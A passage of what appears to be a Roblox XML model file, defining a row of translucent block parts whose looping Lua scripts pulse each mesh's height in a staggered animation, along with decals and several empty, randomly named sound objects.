script.Parent.BM.Scale = Vector3.new(1,2.8,1)
wait(0.025)
script.Parent.BM.Scale = Vector3.new(1,3,1)
wait(0.025)
script.Parent.BM.Scale = Vector3.new(1,2.8,1)
wait(0.025)
script.Parent.BM.Scale = Vector3.new(1,2.6,1)
wait(0.025)
script.Parent.BM.Scale = Vector3.new(1,2.4,1)
wait(0.025)
script.Parent.BM.Scale = Vector3.new(1,2.2,1)
wait(0.025)
script.Parent.BM.Scale = Vector3.new(1,2,1)
wait(0.025)
script.Parent.BM.Scale = Vector3.new(1,1.8,1)
wait(0.025)
script.Parent.BM.Scale = Vector3.new(1,1.6,1)
wait(0.025)
script.Parent.BM.Scale = Vector3.new(1,1.4,1)
wait(0.025)
script.Parent.BM.Scale = Vector3.new(1,1.2,1)
wait(0.025)

end
</string>
										<bool name="archivable">true</bool>
									</Properties>
									<Item class="StockSound" referent="RBX881">
										<Properties>
											<bool name="Looped">false</bool>
											<string name="Name">pujyuaxfz</string>
											<float name="Pitch">1</float>
											<int name="PlayCount">-1</int>
											<bool name="PlayOnRemove">false</bool>
											<Content name="SoundId"><null></null></Content>
											<float name="Volume">0.5</float>
											<bool name="archivable">true</bool>
										</Properties>
									</Item>
								</Item>
								<Item class="BlockMesh" referent="RBX882">
									<Properties>
										<float name="Bevel">0</float>
										<float name="Bevel Roundness">0</float>
										<float name="Bulge">0</float>
										<token name="LODX">2</token>
										<token name="LODY">2</token>
										<string name="Name">BM</string>
										<Vector3 name="Offset">
											<X>0</X>
											<Y>0</Y>
											<Z>0</Z>
										</Vector3>
										<Vector3 name="Scale">
											<X>1</X>
											<Y>2.79999995</Y>
											<Z>1</Z>
										</Vector3>
										<Vector3 name="VertexColor">
											<X>1</X>
											<Y>1</Y>
											<Z>1</Z>
										</Vector3>
										<bool name="archivable">true</bool>
									</Properties>
									<Item class="StockSound" referent="RBX883">
										<Properties>
											<bool name="Looped">false</bool>
											<string name="Name">sr3x</string>
											<float name="Pitch">1</float>
											<int name="PlayCount">-1</int>
											<bool name="PlayOnRemove">false</bool>
											<Content name="SoundId"><null></null></Content>
											<float name="Volume">0.5</float>
											<bool name="archivable">true</bool>
										</Properties>
									</Item>
								</Item>
								<Item class="StockSound" referent="RBX884">
									<Properties>
										<bool name="Looped">false</bool>
										<string name="Name">gqrgy1b</string>
										<float name="Pitch">1</float>
										<int name="PlayCount">-1</int>
										<bool name="PlayOnRemove">false</bool>
										<Content name="SoundId"><null></null></Content>
										<float name="Volume">0.5</float>
										<bool name="archivable">true</bool>
									</Properties>
								</Item>
								<Item class="Decal" referent="RBX885">
									<Properties>
										<token name="Face">1</token>
										<string name="Name">Decal</string>
										<float name="Shiny">20</float>
										<float name="Specular">0</float>
										<Content name="Texture"><url>http://www.roblox.com/asset/?id=15161938</url></Content>
										<bool name="archivable">true</bool>
									</Properties>
								</Item>
							</Item>
							<Item class="Part" referent="RBX886">
								<Properties>
									<bool name="Anchored">true</bool>
									<float name="BackParamA">-0.5</float>
									<float name="BackParamB">0.5</float>
									<token name="BackSurface">0</token>
									<token name="BackSurfaceInput">0</token>
									<float name="BottomParamA">-0.5</float>
									<float name="BottomParamB">0.5</float>
									<token name="BottomSurface">4</token>
									<token name="BottomSurfaceInput">0</token>
									<int name="BrickColor">23</int>
									<CoordinateFrame name="CFrame">
										<X>97.5</X>
										<Y>8</Y>
										<Z>233.5</Z>
										<R00>-1</R00>
										<R01>0</R01>
										<R02>0</R02>
										<R10>0</R10>
										<R11>1</R11>
										<R12>0</R12>
										<R20>0</R20>
										<R21>0</R21>
										<R22>-1</R22>
									</CoordinateFrame>
									<bool name="CanCollide">false</bool>
									<bool name="DraggingV1">false</bool>
									<float name="Elasticity">0.5</float>
									<token name="FormFactor">2</token>
									<float name="Friction">0.300000012</float>
									<float name="FrontParamA">-0.5</float>
									<float name="FrontParamB">0.5</float>
									<token name="FrontSurface">0</token>
									<token name="FrontSurfaceInput">0</token>
									<float name="LeftParamA">-0.5</float>
									<float name="LeftParamB">0.5</float>
									<token name="LeftSurface">0</token>
									<token name="LeftSurfaceInput">0</token>
									<bool name="Locked">false</bool>
									<token name="Material">256</token>
									<string name="Name">Smooth Block Model</string>
									<float name="Reflectance">0</float>
									<float name="RightParamA">-0.5</float>
									<float name="RightParamB">0.5</float>
									<token name="RightSurface">0</token>
									<token name="RightSurfaceInput">0</token>
									<Vector3 name="RotVelocity">
										<X>0</X>
										<Y>0</Y>
										<Z>0</Z>
									</Vector3>
									<float name="TopParamA">-0.5</float>
									<float name="TopParamB">0.5</float>
									<token name="TopSurface">3</token>
									<token name="TopSurfaceInput">0</token>
									<float name="Transparency">0.100000001</float>
									<Vector3 name="Velocity">
										<X>0</X>
										<Y>0</Y>
										<Z>0</Z>
									</Vector3>
									<bool name="archivable">true</bool>
									<token name="shape">1</token>
									<Vector3 name="size">
										<X>1</X>
										<Y>0.800000012</Y>
										<Z>19</Z>
									</Vector3>
								</Properties>
								<Item class="Script" referent="RBX887">
									<Properties>
										<bool name="Disabled">false</bool>
										<Content name="LinkedSource"><null></null></Content>
										<string name="Name">Script</string>
										<string name="Source">while true do


script.Parent.BM.Scale = Vector3.new(1,1.6,1)
wait(0.025)
script.Parent.BM.Scale = Vector3.new(1,1.4,1)
wait(0.025)
script.Parent.BM.Scale = Vector3.new(1,1.2,1)
wait(0.025)
script.Parent.BM.Scale = Vector3.new(1,1,1)
wait(0.025)
script.Parent.BM.Scale = Vector3.new(1,1.2,1)
wait(0.025)
script.Parent.BM.Scale = Vector3.new(1,1.4,1)
wait(0.025)
script.Parent.BM.Scale = Vector3.new(1,1.6,1)
wait(0.025)
script.Parent.BM.Scale = Vector3.new(1,1.8,1)
wait(0.025)
script.Parent.BM.Scale = Vector3.new(1,2,1)
wait(0.025)
script.Parent.BM.Scale = Vector3.new(1,2.2,1)
wait(0.025)
script.Parent.BM.Scale = Vector3.new(1,2.4,1)
wait(0.025)
script.Parent.BM.Scale = Vector3.new(1,2.6,1)
wait(0.025)
script.Parent.BM.Scale = Vector3.new(1,2.8,1)
wait(0.025)
script.Parent.BM.Scale = Vector3.new(1,3,1)
wait(0.025)
script.Parent.BM.Scale = Vector3.new(1,2.8,1)
wait(0.025)
script.Parent.BM.Scale = Vector3.new(1,2.6,1)
wait(0.025)
script.Parent.BM.Scale = Vector3.new(1,2.4,1)
wait(0.025)
script.Parent.BM.Scale = Vector3.new(1,2.2,1)
wait(0.025)
script.Parent.BM.Scale = Vector3.new(1,2,1)
wait(0.025)
script.Parent.BM.Scale = Vector3.new(1,1.8,1)
wait(0.025)

end
</string>
										<bool name="archivable">true</bool>
									</Properties>
									<Item class="StockSound" referent="RBX888">
										<Properties>
											<bool name="Looped">false</bool>
											<string name="Name">eyzk7twhe</string>
											<float name="Pitch">1</float>
											<int name="PlayCount">-1</int>
											<bool name="PlayOnRemove">false</bool>
											<Content name="SoundId"><null></null></Content>
											<float name="Volume">0.5</float>
											<bool name="archivable">true</bool>
										</Properties>
									</Item>
								</Item>
								<Item class="BlockMesh" referent="RBX889">
									<Properties>
										<float name="Bevel">0</float>
										<float name="Bevel Roundness">0</float>
										<float name="Bulge">0</float>
										<token name="LODX">2</token>
										<token name="LODY">2</token>
										<string name="Name">BM</string>
										<Vector3 name="Offset">
											<X>0</X>
											<Y>0</Y>
											<Z>0</Z>
										</Vector3>
										<Vector3 name="Scale">
											<X>1</X>
											<Y>2.5999999</Y>
											<Z>1</Z>
										</Vector3>
										<Vector3 name="VertexColor">
											<X>1</X>
											<Y>1</Y>
											<Z>1</Z>
										</Vector3>
										<bool name="archivable">true</bool>
									</Properties>
									<Item class="StockSound" referent="RBX890">
										<Properties>
											<bool name="Looped">false</bool>
											<string name="Name">dh71qu</string>
											<float name="Pitch">1</float>
											<int name="PlayCount">-1</int>
											<bool name="PlayOnRemove">false</bool>
											<Content name="SoundId"><null></null></Content>
											<float name="Volume">0.5</float>
											<bool name="archivable">true</bool>
										</Properties>
									</Item>
								</Item>
								<Item class="StockSound" referent="RBX891">
									<Properties>
										<bool name="Looped">false</bool>
										<string name="Name">0lei</string>
										<float name="Pitch">1</float>
										<int name="PlayCount">-1</int>
										<bool name="PlayOnRemove">false</bool>
										<Content name="SoundId"><null></null></Content>
										<float name="Volume">0.5</float>
										<bool name="archivable">true</bool>
									</Properties>
								</Item>
								<Item class="Decal" referent="RBX892">
									<Properties>
										<token name="Face">1</token>
										<string name="Name">Decal</string>
										<float name="Shiny">20</float>
										<float name="Specular">0</float>
										<Content name="Texture"><url>http://www.roblox.com/asset/?id=15161938</url></Content>
										<bool name="archivable">true</bool>
									</Properties>
								</Item>
							</Item>
							<Item class="Part" referent="RBX893">
								<Properties>
									<bool name="Anchored">true</bool>
									<float name="BackParamA">-0.5</float>
									<float name="BackParamB">0.5</float>
									<token name="BackSurface">0</token>
									<token name="BackSurfaceInput">0</token>
									<float name="BottomParamA">-0.5</float>
									<float name="BottomParamB">0.5</float>
									<token name="BottomSurface">4</token>
									<token name="BottomSurfaceInput">0</token>
									<int name="BrickColor">23</int>
									<CoordinateFrame name="CFrame">
										<X>99.5</X>
										<Y>8</Y>
										<Z>233.5</Z>
										<R00>-1</R00>
										<R01>0</R01>
										<R02>0</R02>
										<R10>0</R10>
										<R11>1</R11>
										<R12>0</R12>
										<R20>0</R20>
										<R21>0</R21>
										<R22>-1</R22>
									</CoordinateFrame>
									<bool name="CanCollide">false</bool>
									<bool name="DraggingV1">false</bool>
									<float name="Elasticity">0.5</float>
									<token name="FormFactor">2</token>
									<float name="Friction">0.300000012</float>
									<float name="FrontParamA">-0.5</float>
									<float name="FrontParamB">0.5</float>
									<token name="FrontSurface">0</token>
									<token name="FrontSurfaceInput">0</token>
									<float name="LeftParamA">-0.5</float>
									<float name="LeftParamB">0.5</float>
									<token name="LeftSurface">0</token>
									<token name="LeftSurfaceInput">0</token>
									<bool name="Locked">false</bool>
									<token name="Material">256</token>
									<string name="Name">Smooth Block Model</string>
									<float name="Reflectance">0</float>
									<float name="RightParamA">-0.5</float>
									<float name="RightParamB">0.5</float>
									<token name="RightSurface">0</token>
									<token name="RightSurfaceInput">0</token>
									<Vector3 name="RotVelocity">
										<X>0</X>
										<Y>0</Y>
										<Z>0</Z>
									</Vector3>
									<float name="TopParamA">-0.5</float>
									<float name="TopParamB">0.5</float>
									<token name="TopSurface">3</token>
									<token name="TopSurfaceInput">0</token>
									<float name="Transparency">0.100000001</float>
									<Vector3 name="Velocity">
										<X>0</X>
										<Y>0</Y>
										<Z>0</Z>
									</Vector3>
									<bool name="archivable">true</bool>
									<token name="shape">1</token>
									<Vector3 name="size">
										<X>1</X>
										<Y>0.800000012</Y>
										<Z>19</Z>
									</Vector3>
								</Properties>
								<Item class="Script" referent="RBX894">
									<Properties>
										<bool name="Disabled">false</bool>
										<Content name="LinkedSource"><null></null></Content>
										<string name="Name">Script</string>
										<string name="Source">while true do


script.Parent.BM.Scale = Vector3.new(1,1.2,1)
wait(0.025)
script.Parent.BM.Scale = Vector3.new(1,1,1)
wait(0.025)
script.Parent.BM.Scale = Vector3.new(1,1.2,1)
wait(0.025)
script.Parent.BM.Scale = Vector3.new(1,1.4,1)
wait(0.025)
script.Parent.BM.Scale = Vector3.new(1,1.6,1)
wait(0.025)
script.Parent.BM.Scale = Vector3.new(1,1.8,1)
wait(0.025)
script.Parent.BM.Scale = Vector3.new(1,2,1)
wait(0.025)
script.Parent.BM.Scale = Vector3.new(1,2.2,1)
wait(0.025)
script.Parent.BM.Scale = Vector3.new(1,2.4,1)
wait(0.025)
script.Parent.BM.Scale = Vector3.new(1,2.6,1)
wait(0.025)
script.Parent.BM.Scale = Vector3.new(1,2.8,1)
wait(0.025)
script.Parent.BM.Scale = Vector3.new(1,3,1)
wait(0.025)
script.Parent.BM.Scale = Vector3.new(1,2.8,1)
wait(0.025)
script.Parent.BM.Scale = Vector3.new(1,2.6,1)
wait(0.025)
script.Parent.BM.Scale = Vector3.new(1,2.4,1)
wait(0.025)
script.Parent.BM.Scale = Vector3.new(1,2.2,1)
wait(0.025)
script.Parent.BM.Scale = Vector3.new(1,2,1)
wait(0.025)
script.Parent.BM.Scale = Vector3.new(1,1.8,1)
wait(0.025)
script.Parent.BM.Scale = Vector3.new(1,1.6,1)
wait(0.025)
script.Parent.BM.Scale = Vector3.new(1,1.4,1)
wait(0.025)

end
</string>
										<bool name="archivable">true</bool>
									</Properties>
									<Item class="StockSound" referent="RBX895">
										<Properties>
											<bool name="Looped">false</bool>
											<string name="Name">y3ud5zv</string>
											<float name="Pitch">1</float>
											<int name="PlayCount">-1</int>
											<bool name="PlayOnRemove">false</bool>
											<Content name="SoundId"><null></null></Content>
											<float name="Volume">0.5</float>
											<bool name="archivable">true</bool>
										</Properties>
									</Item>
								</Item>
								<Item class="BlockMesh" referent="RBX896">
									<Properties>
										<float name="Bevel">0</float>
										<float name="Bevel Roundness">0</float>
										<float name="Bulge">0</float>
										<token name="LODX">2</token>
										<token name="LODY">2</token>
										<string name="Name">BM</string>
										<Vector3 name="Offset">
											<X>0</X>
											<Y>0</Y>
											<Z>0</Z>
										</Vector3>
										<Vector3 name="Scale">
											<X>1</X>
											<Y>3</Y>
											<Z>1</Z>
										</Vector3>
										<Vector3 name="VertexColor">
											<X>1</X>
											<Y>1</Y>
											<Z>1</Z>
										</Vector3>
										<bool name="archivable">true</bool>
									</Properties>
									<Item class="StockSound" referent="RBX897">
										<Properties>
											<bool name="Looped">false</bool>
											<string name="Name">vueso4</string>
											<float name="Pitch">1</float>
											<int name="PlayCount">-1</int>
											<bool name="PlayOnRemove">false</bool>
											<Content name="SoundId"><null></null></Content>
											<float name="Volume">0.5</float>
											<bool name="archivable">true</bool>
										</Properties>
									</Item>
								</Item>
								<Item class="StockSound" referent="RBX898">
									<Properties>
										<bool name="Looped">false</bool>
										<string name="Name">aut7vfm</string>
										<float name="Pitch">1</float>
										<int name="PlayCount">-1</int>
										<bool name="PlayOnRemove">false</bool>
										<Content name="SoundId"><null></null></Content>
										<float name="Volume">0.5</float>
										<bool name="archivable">true</bool>
									</Properties>
								</Item>
								<Item class="Decal" referent="RBX899">
									<Properties>
										<token name="Face">1</token>
										<string name="Name">Decal</string>
										<float name="Shiny">20</float>
										<float name="Specular">0</float>
										<Content name="Texture"><url>http://www.roblox.com/asset/?id=15161938</url></Content>
										<bool name="archivable">true</bool>
									</Properties>
								</Item>
							</Item>
							<Item class="Part" referent="RBX900">
								<Properties>
									<bool name="Anchored">true</bool>
									<float name="BackParamA">-0.5</float>
									<float name="BackParamB">0.5</float>
									<token name="BackSurface">0</token>
									<token name="BackSurfaceInput">0</token>
									<float name="BottomParamA">-0.5</float>
									<float name="BottomParamB">0.5</float>
									<token name="BottomSurface">4</token>
									<token name="BottomSurfaceInput">0</token>
									<int name="BrickColor">23</int>
									<CoordinateFrame name="CFrame">
										<X>96.5</X>
										<Y>8</Y>
										<Z>233.5</Z>
										<R00>-1</R00>
										<R01>0</R01>
										<R02>0</R02>
										<R10>0</R10>
										<R11>1</R11>
										<R12>0</R12>
										<R20>0</R20>
										<R21>0</R21>
										<R22>-1</R22>
									</CoordinateFrame>
									<bool name="CanCollide">false</bool>
									<bool name="DraggingV1">false</bool>
									<float name="Elasticity">0.5</float>
									<token name="FormFactor">2</token>
									<float name="Friction">0.300000012</float>
									<float name="FrontParamA">-0.5</float>
									<float name="FrontParamB">0.5</float>
									<token name="FrontSurface">0</token>
									<token name="FrontSurfaceInput">0</token>
									<float name="LeftParamA">-0.5</float>
									<float name="LeftParamB">0.5</float>
									<token name="LeftSurface">0</token>
									<token name="LeftSurfaceInput">0</token>
									<bool name="Locked">false</bool>
									<token name="Material">256</token>
									<string name="Name">Smooth Block Model</string>
									<float name="Reflectance">0</float>
									<float name="RightParamA">-0.5</float>
									<float name="RightParamB">0.5</float>
									<token name="RightSurface">0</token>
									<token name="RightSurfaceInput">0</token>
									<Vector3 name="RotVelocity">
										<X>0</X>
										<Y>0</Y>
										<Z>0</Z>
									</Vector3>
									<float name="TopParamA">-0.5</float>
									<float name="TopParamB">0.5</float>
									<token name="TopSurface">3</token>
									<token name="TopSurfaceInput">0</token>
									<float name="Transparency">0.100000001</float>
									<Vector3 name="Velocity">
										<X>0</X>
										<Y>0</Y>
										<Z>0</Z>
									</Vector3>
									<bool name="archivable">true</bool>
									<token name="shape">1</token>
									<Vector3 name="size">
										<X>1</X>
										<Y>0.800000012</Y>
										<Z>19</Z>
									</Vector3>
								</Properties>
								<Item class="Script" referent="RBX901">
									<Properties>
										<bool name="Disabled">false</bool>
										<Content name="LinkedSource"><null></null></Content>
										<string name="Name">Script</string>
										<string name="Source">while true do


script.Parent.BM.Scale = Vector3.new(1,1.8,1)
wait(0.025)
script.Parent.BM.Scale = Vector3.new(1,1.6,1)
wait(0.025)
script.Parent.BM.Scale = Vector3.new(1,1.4,1)
wait(0.025)
script.Parent.BM.Scale = Vector3.new(1,1.2,1)
wait(0.025)
script.Parent.BM.Scale = Vector3.new(1,1,1)
wait(0.025)
script.Parent.BM.Scale = Vector3.new(1,1.2,1)
wait(0.025)
script.Parent.BM.Scale = Vector3.new(1,1.4,1)
wait(0.025)
script.Parent.BM.Scale = Vector3.new(1,1.6,1)
wait(0.025)
script.Parent.BM.Scale = Vector3.new(1,1.8,1)
wait(0.025)
script.Parent.BM.Scale = Vector3.new(1,2,1)
wait(0.025)
script.Parent.BM.Scale = Vector3.new(1,2.2,1)
wait(0.025)
script.Parent.BM.Scale = Vector3.new(1,2.4,1)
wait(0.025)
script.Parent.BM.Scale = Vector3.new(1,2.6,1)
wait(0.025)
script.Parent.BM.Scale = Vector3.new(1,2.8,1)
wait(0.025)
script.Parent.BM.Scale = Vector3.new(1,3,1)
wait(0.025)
script.Parent.BM.Scale = Vector3.new(1,2.8,1)
wait(0.025)
script.Parent.BM.Scale = Vector3.new(1,2.6,1)
wait(0.025)
script.Parent.BM.Scale = Vector3.new(1,2.4,1)
wait(0.025)
script.Parent.BM.Scale = Vector3.new(1,2.2,1)
wait(0.025)
script.Parent.BM.Scale = Vector3.new(1,2,1)
wait(0.025)

end
</string>
										<bool name="archivable">true</bool>
									</Properties>
									<Item class="StockSound" referent="RBX902">
										<Properties>
											<bool name="Looped">false</bool>
											<string name="Name">1ieqlnm3</string>
											<float name="Pitch">1</float>
											<int name="PlayCount">-1</int>
											<bool name="PlayOnRemove">false</bool>
											<Content name="SoundId"><null></null></Content>
											<float name="Volume">0.5</float>
											<bool name="archivable">true</bool>
										</Properties>
									</Item>
								</Item>
								<Item class="BlockMesh" referent="RBX903">
									<Properties>
										<float name="Bevel">0</float>
										<float name="Bevel Roundness">0</float>
										<float name="Bulge">0</float>
										<token name="LODX">2</token>
										<token name="LODY">2</token>
										<string name="Name">BM</string>
										<Vector3 name="Offset">
											<X>0</X>
											<Y>0</Y>
											<Z>0</Z>
										</Vector3>
										<Vector3 name="Scale">
											<X>1</X>
											<Y>2.4000001</Y>
											<Z>1</Z>
										</Vector3>
										<Vector3 name="VertexColor">
											<X>1</X>
											<Y>1</Y>
											<Z>1</Z>
										</Vector3>
										<bool name="archivable">true</bool>
									</Properties>
									<Item class="StockSound" referent="RBX904">
										<Properties>
											<bool name="Looped">false</bool>
											<string name="Name">vsmf</string>
											<float name="Pitch">1</float>
											<int name="PlayCount">-1</int>
											<bool name="PlayOnRemove">false</bool>
											<Content name="SoundId"><null></null></Content>
											<float name="Volume">0.5</float>
											<bool name="archivable">true</bool>
										</Properties>
									</Item>
								</Item>
								<Item class="StockSound" referent="RBX905">
									<Properties>
										<bool name="Looped">false</bool>
										<string name="Name">92fwv69j5</string>
										<float name="Pitch">1</float>
										<int name="PlayCount">-1</int>
										<bool name="PlayOnRemove">false</bool>
										<Content name="SoundId"><null></null></Content>
										<float name="Volume">0.5</float>
										<bool name="archivable">true</bool>
									</Properties>
								</Item>
								<Item class="Decal" referent="RBX906">
									<Properties>
										<token name="Face">1</token>
										<string name="Name">Decal</string>
										<float name="Shiny">20</float>
										<float name="Specular">0</float>
										<Content name="Texture"><url>http://www.roblox.com/asset/?id=15161938</url></Content>
										<bool name="archivable">true</bool>
									</Properties>
								</Item>
							</Item>
							<Item class="Part" referent="RBX907">
								<Properties>
									<bool name="Anchored">true</bool>
									<float name="BackParamA">-0.5</float>
									<float name="BackParamB">0.5</float>
									<token name="BackSurface">0</token>
									<token name="BackSurfaceInput">0</token>
									<float name="BottomParamA">-0.5</float>
									<float name="BottomParamB">0.5</float>
									<token name="BottomSurface">4</token>
									<token name="BottomSurfaceInput">0</token>
									<int name="BrickColor">23</int>
									<CoordinateFrame name="CFrame">
										<X>95.5</X>
										<Y>8</Y>
										<Z>233.5</Z>
										<R00>-1</R00>
										<R01>0</R01>
										<R02>0</R02>
										<R10>0</R10>
										<R11>1</R11>
										<R12>0</R12>
										<R20>0</R20>
										<R21>0</R21>
										<R22>-1</R22>
									</CoordinateFrame>
									<bool name="CanCollide">false</bool>
									<bool name="DraggingV1">false</bool>
									<float name="Elasticity">0.5</float>
									<token name="FormFactor">2</token>
									<float name="Friction">0.300000012</float>
									<float name="FrontParamA">-0.5</float>
									<float name="FrontParamB">0.5</float>
									<token name="FrontSurface">0</token>
									<token name="FrontSurfaceInput">0</token>
									<float name="LeftParamA">-0.5</float>
									<float name="LeftParamB">0.5</float>
									<token name="LeftSurface">0</token>
									<token name="LeftSurfaceInput">0</token>
									<bool name="Locked">false</bool>
									<token name="Material">256</token>
									<string name="Name">Smooth Block Model</string>
									<float name="Reflectance">0</float>
									<float name="RightParamA">-0.5</float>
									<float name="RightParamB">0.5</float>
									<token name="RightSurface">0</token>
									<token name="RightSurfaceInput">0</token>
									<Vector3 name="RotVelocity">
										<X>0</X>
										<Y>0</Y>
										<Z>0</Z>
									</Vector3>
									<float name="TopParamA">-0.5</float>
									<float name="TopParamB">0.5</float>
									<token name="TopSurface">3</token>
									<token name="TopSurfaceInput">0</token>
									<float name="Transparency">0.100000001</float>
									<Vector3 name="Velocity">
										<X>0</X>
										<Y>0</Y>
										<Z>0</Z>
									</Vector3>
									<bool name="archivable">true</bool>
									<token name="shape">1</token>
									<Vector3 name="size">
										<X>1</X>
										<Y>0.800000012</Y>
										<Z>19</Z>
									</Vector3>
								</Properties>
								<Item class="Script" referent="RBX908">
									<Properties>
										<bool name="Disabled">false</bool>
										<Content name="LinkedSource"><null></null></Content>
										<string name="Name">Script</string>
										<string name="Source">while true do


script.Parent.BM.Scale = Vector3.new(1,2,1)
wait(0.025)
script.Parent.BM.Scale = Vector3.new(1,1.8,1)
wait(0.025)
script.Parent.BM.Scale = Vector3.new(1,1.6,1)
wait(0.025)
script.Parent.BM.Scale = Vector3.new(1,1.4,1)
wait(0.025)
script.Parent.BM.Scale = Vector3.new(1,1.2,1)
wait(0.025)
script.Parent.BM.Scale = Vector3.new(1,1,1)
wait(0.025)
script.Parent.BM.Scale = Vector3.new(1,1.2,1)
wait(0.025)
script.Parent.BM.Scale = Vector3.new(1,1.4,1)
wait(0.025)
script.Parent.BM.Scale = Vector3.new(1,1.6,1)
wait(0.025)
script.Parent.BM.Scale = Vector3.new(1,1.8,1)
wait(0.025)
script.Parent.BM.Scale = Vector3.new(1,2,1)
wait(0.025)
script.Parent.BM.Scale = Vector3.new(1,2.2,1)
wait(0.025)
script.Parent.BM.Scale = Vector3.new(1,2.4,1)
wait(0.025)
script.Parent.BM.Scale = Vector3.new(1,2.6,1)
wait(0.025)
script.Parent.BM.Scale = Vector3.new(1,2.8,1)
wait(0.025)
script.Parent.BM.Scale = Vector3.new(1,3,1)
wait(0.025)
script.Parent.BM.Scale = Vector3.new(1,2.8,1)
wait(0.025)
script.Parent.BM.Scale = Vector3.new(1,2.6,1)
wait(0.025)
script.Parent.BM.Scale = Vector3.new(1,2.4,1)
wait(0.025)
script.Parent.BM.Scale = Vector3.new(1,2.2,1)
wait(0.025)

end
</string>
										<bool name="archivable">true</bool>
									</Properties>
									<Item class="StockSound" referent="RBX909">
										<Properties>
											<bool name="Looped">false</bool>
											<string name="Name">c1kng</string>
											<float name="Pitch">1</float>
											<int name="PlayCount">-1</int>
											<bool name="PlayOnRemove">false</bool>
											<Content name="SoundId"><null></null></Content>
											<float name="Volume">0.5</float>
											<bool name="archivable">true</bool>
										</Properties>
									</Item>
								</Item>
								<Item class="BlockMesh" referent="RBX910">
									<Properties>
										<float name="Bevel">0</float>
										<float name="Bevel Roundness">0</float>
										<float name="Bulge">0</float>
										<token name="LODX">2</token>
										<token name="LODY">2</token>
										<string name="Name">BM</string>
										<Vector3 name="Offset">
											<X>0</X>
											<Y>0</Y>
											<Z>0</Z>
										</Vector3>
										<Vector3 name="Scale">
											<X>1</X>
											<Y>2.20000005</Y>
											<Z>1</Z>
										</Vector3>
										<Vector3 name="VertexColor">
											<X>1</X>
											<Y>1</Y>
											<Z>1</Z>
										</Vector3>
										<bool name="archivable">true</bool>
									</Properties>
									<Item class="StockSound" referent="RBX911">
										<Properties>
											<bool name="Looped">false</bool>
											<string name="Name">apifdjls</string>
											<float name="Pitch">1</float>
											<int name="PlayCount">-1</int>
											<bool name="PlayOnRemove">false</bool>
											<Content name="SoundId"><null></null></Content>
											<float name="Volume">0.5</float>
											<bool name="archivable">true</bool>
										</Properties>
									</Item>
								</Item>
								<Item class="StockSound" referent="RBX912">
									<Properties>
										<bool name="Looped">false</bool>
										<string name="Name">8ayg</string>
										<float name="Pitch">1</float>
										<int name="PlayCount">-1</int>
										<bool name="PlayOnRemove">false</bool>
										<Content name="SoundId"><null></null></Content>
										<float name="Volume">0.5</float>
										<bool name="archivable">true</bool>
									</Properties>
								</Item>
								<Item class="Decal" referent="RBX913">
									<Properties>
										<token name="Face">1</token>
										<string name="Name">Decal</string>
										<float name="Shiny">20</float>
										<float name="Specular">0</float>
										<Content name="Texture"><url>http://www.roblox.com/asset/?id=15161938</url></Content>
										<bool name="archivable">true</bool>
									</Properties>
								</Item>
							</Item>
							<Item class="Part" referent="RBX914">
								<Properties>
									<bool name="Anchored">true</bool>
									<float name="BackParamA">-0.5</float>
									<float name="BackParamB">0.5</float>
									<token name="BackSurface">0</token>
									<token name="BackSurfaceInput">0</token>
									<float name="BottomParamA">-0.5</float>
									<float name="BottomParamB">0.5</float>
									<token name="BottomSurface">4</token>
									<token name="BottomSurfaceInput">0</token>
									<int name="BrickColor">23</int>
									<CoordinateFrame name="CFrame">
										<X>94.5</X>
										<Y>8</Y>
										<Z>233.5</Z>
										<R00>-1</R00>
										<R01>0</R01>
										<R02>0</R02>
										<R10>0</R10>
										<R11>1</R11>
										<R12>0</R12>
										<R20>0</R20>
										<R21>0</R21>
										<R22>-1</R22>
									</CoordinateFrame>
									<bool name="CanCollide">false</bool>
									<bool name="DraggingV1">false</bool>
									<float name="Elasticity">0.5</float>
									<token name="FormFactor">2</token>
									<float name="Friction">0.300000012</float>
									<float name="FrontParamA">-0.5</float>
									<float name="FrontParamB">0.5</float>
									<token name="FrontSurface">0</token>
									<token name="FrontSurfaceInput">0</token>
									<float name="LeftParamA">-0.5</float>
									<float name="LeftParamB">0.5</float>
									<token name="LeftSurface">0</token>
									<token name="LeftSurfaceInput">0</token>
									<bool name="Locked">false</bool>
									<token name="Material">256</token>
									<string name="Name">Smooth Block Model</string>
									<float name="Reflectance">0</float>
									<float name="RightParamA">-0.5</float>
									<float name="RightParamB">0.5</float>
									<token name="RightSurface">0</token>
									<token name="RightSurfaceInput">0</token>
									<Vector3 name="RotVelocity">
										<X>0</X>
										<Y>0</Y>
										<Z>0</Z>
									</Vector3>
									<float name="TopParamA">-0.5</float>
									<float name="TopParamB">0.5</float>
									<token name="TopSurface">3</token>
									<token name="TopSurfaceInput">0</token>
									<float name="Transparency">0.100000001</float>
									<Vector3 name="Velocity">
										<X>0</X>
										<Y>0</Y>
										<Z>0</Z>
									</Vector3>
									<bool name="archivable">true</bool>
									<token name="shape">1</token>
									<Vector3 name="size">
										<X>1</X>
										<Y>0.800000012</Y>
										<Z>19</Z>
									</Vector3>
								</Properties>
								<Item class="Script" referent="RBX915">
									<Properties>
										<bool name="Disabled">false</bool>
										<Content name="LinkedSource"><null></null></Content>
										<string name="Name">Script</string>
										<string name="Source">while true do


script.Parent.BM.Scale = Vector3.new(1,2.2,1)
wait(0.025)
script.Parent.BM.Scale = Vector3.new(1,2,1)
wait(0.025)
script.Parent.BM.Scale = Vector3.new(1,1.8,1)
wait(0.025)
script.Parent.BM.Scale = Vector3.new(1,1.6,1)
wait(0.025)
script.Parent.BM.Scale = Vector3.new(1,1.4,1)
wait(0.025)
script.Parent.BM.Scale = Vector3.new(1,1.2,1)
wait(0.025)
script.Parent.BM.Scale = Vector3.new(1,1,1)
wait(0.025)
script.Parent.BM.Scale = Vector3.new(1,1.2,1)
wait(0.025)
script.Parent.BM.Scale = Vector3.new(1,1.4,1)
wait(0.025)
script.Parent.BM.Scale = Vector3.new(1,1.6,1)
wait(0.025)
script.Parent.BM.Scale = Vector3.new(1,1.8,1)
wait(0.025)
script.Parent.BM.Scale = Vector3.new(1,2,1)
wait(0.025)
script.Parent.BM.Scale = Vector3.new(1,2.2,1)
wait(0.025)
script.Parent.BM.Scale = Vector3.new(1,2.4,1)
wait(0.025)
script.Parent.BM.Scale = Vector3.new(1,2.6,1)
wait(0.025)
script.Parent.BM.Scale = Vector3.new(1,2.8,1)
wait(0.025)
script.Parent.BM.Scale = Vector3.new(1,3,1)
wait(0.025)
script.Parent.BM.Scale = Vector3.new(1,2.8,1)
wait(0.025)
script.Parent.BM.Scale = Vector3.new(1,2.6,1)
wait(0.025)
script.Parent.BM.Scale = Vector3.new(1,2.4,1)
wait(0.025)

end
</string>
										<bool name="archivable">true</bool>
									</Properties>
